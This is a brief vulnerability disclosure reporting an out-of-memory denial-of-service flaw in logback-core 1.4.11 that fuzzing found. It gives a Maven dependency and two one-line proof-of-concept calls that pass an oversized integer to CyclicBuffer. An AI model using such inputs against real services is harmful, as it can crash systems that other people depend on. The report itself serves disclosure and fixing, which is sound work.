DoS Vulnerability was discovered in logback-core

[Alex111998]

Summary

Denial of service vulnerability in logback-core was discovered by CIFuzz. Method new CyclicBuffer(int) and CyclicBuffer.resize(int) can receive a too big number which can lead to OOM.

POC

pom

<dependency>
       <groupId>ch.qos.logback</groupId>
       <artifactId>logback-core</artifactId>
       <version>1.4.11</version>
</dependency>

code1

CyclicBuffer cyc = new CyclicBuffer(1611270666);

code2

CyclicBuffer cyc = new CyclicBuffer(123);
cyc.resize(1611270666);